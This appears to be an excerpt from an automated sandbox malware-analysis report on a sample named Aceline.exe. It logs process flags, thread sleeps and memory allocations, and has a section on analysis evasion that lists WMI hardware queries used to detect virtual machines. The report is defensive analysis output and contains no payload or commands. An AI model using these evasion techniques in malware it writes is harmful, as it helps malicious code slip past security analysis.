Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\Aceline.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Memory allocated: 19A315C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Memory allocated: 19A49860000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Memory allocated: 26B2D060000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Memory allocated: 26B451B0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7194	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2412	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Window / User API: threadDelayed 557	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Window / User API: threadDelayed 9175	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4128	Thread sleep count: 7194 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6668	Thread sleep time: -21213755684765971s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3960	Thread sleep count: 2412 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4956	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe TID: 7880	Thread sleep time: -31359464925306218s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe TID: 7880	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe TID: 7880	Thread sleep time: -59876s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe TID: 5824	Thread sleep time: -35996s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe TID: 7880	Thread sleep time: -59751s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe TID: 7880	Thread sleep time: -59643s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe TID: 7880	Thread sleep time: -59506s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe TID: 7880	Thread sleep time: -59381s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe TID: 7880	Thread sleep time: -59279s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe TID: 7880	Thread sleep time: -59174s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe TID: 7880	Thread sleep time: -59035s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe TID: 7880	Thread sleep time: -58927s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe TID: 7880	Thread sleep time: -58817s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe TID: 5824	Thread sleep time: -37964s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe TID: 7880	Thread sleep time: -58711s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe TID: 5824	Thread sleep time: -32963s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe TID: 7880	Thread sleep time: -58604s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe TID: 7880	Thread sleep time: -58486s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe TID: 5824	Thread sleep time: -30846s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe TID: 7880	Thread sleep time: -58373s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe TID: 7880	Thread sleep time: -58256s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe TID: 7880	Thread sleep time: -58102s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe TID: 7880	Thread sleep time: -57988s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe TID: 5824	Thread sleep time: -34035s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe TID: 7880	Thread sleep time: -57879s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe TID: 5824	Thread sleep time: -33757s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe TID: 5824	Thread sleep time: -45625s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe TID: 5824	Thread sleep time: -56244s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe TID: 5824	Thread sleep time: -54243s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe TID: 5824	Thread sleep time: -59713s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe TID: 5824	Thread sleep time: -32804s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe TID: 5824	Thread sleep time: -53815s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe TID: 5824	Thread sleep time: -35388s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe TID: 5824	Thread sleep time: -45857s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe TID: 5824	Thread sleep time: -49454s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe TID: 5824	Thread sleep time: -49641s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe TID: 5824	Thread sleep time: -31120s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe TID: 5824	Thread sleep time: -45546s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe TID: 5824	Thread sleep time: -47767s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe TID: 5824	Thread sleep time: -33799s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Aceline.exe TID: 2340	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Aceline.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Threadpool analyzer: Sleep duration: 300000ms
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Threadpool analyzer: Sleep duration: 300000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 300000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 300000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 300000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 300000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 300000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 300000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 300000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 300000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 300000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 300000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 300000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 300000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 300000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 300000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 300000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 300000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 300000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 300000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 300000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 300000ms
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Threadpool analyzer: Sleep duration: 299988ms
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Threadpool analyzer: Sleep duration: 300000ms
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Threadpool analyzer: Sleep duration: 300000ms
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Threadpool analyzer: Sleep duration: 300000ms
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Threadpool analyzer: Sleep duration: 300000ms
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Threadpool analyzer: Sleep duration: 300000ms
Source: C:\Users\user\AppData\Local\Aceline.exe	Threadpool analyzer: Sleep duration: 300000ms
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Threadpool analyzer: Sleep duration: 300000ms
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Threadpool analyzer: Sleep duration: 300000ms
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Threadpool analyzer: Sleep duration: 300000ms
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Threadpool analyzer: Sleep duration: 300000ms
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Threadpool analyzer: Sleep duration: 300000ms
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Threadpool analyzer: Sleep duration: 300000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Threadpool analyzer: Sleep duration: 60000ms
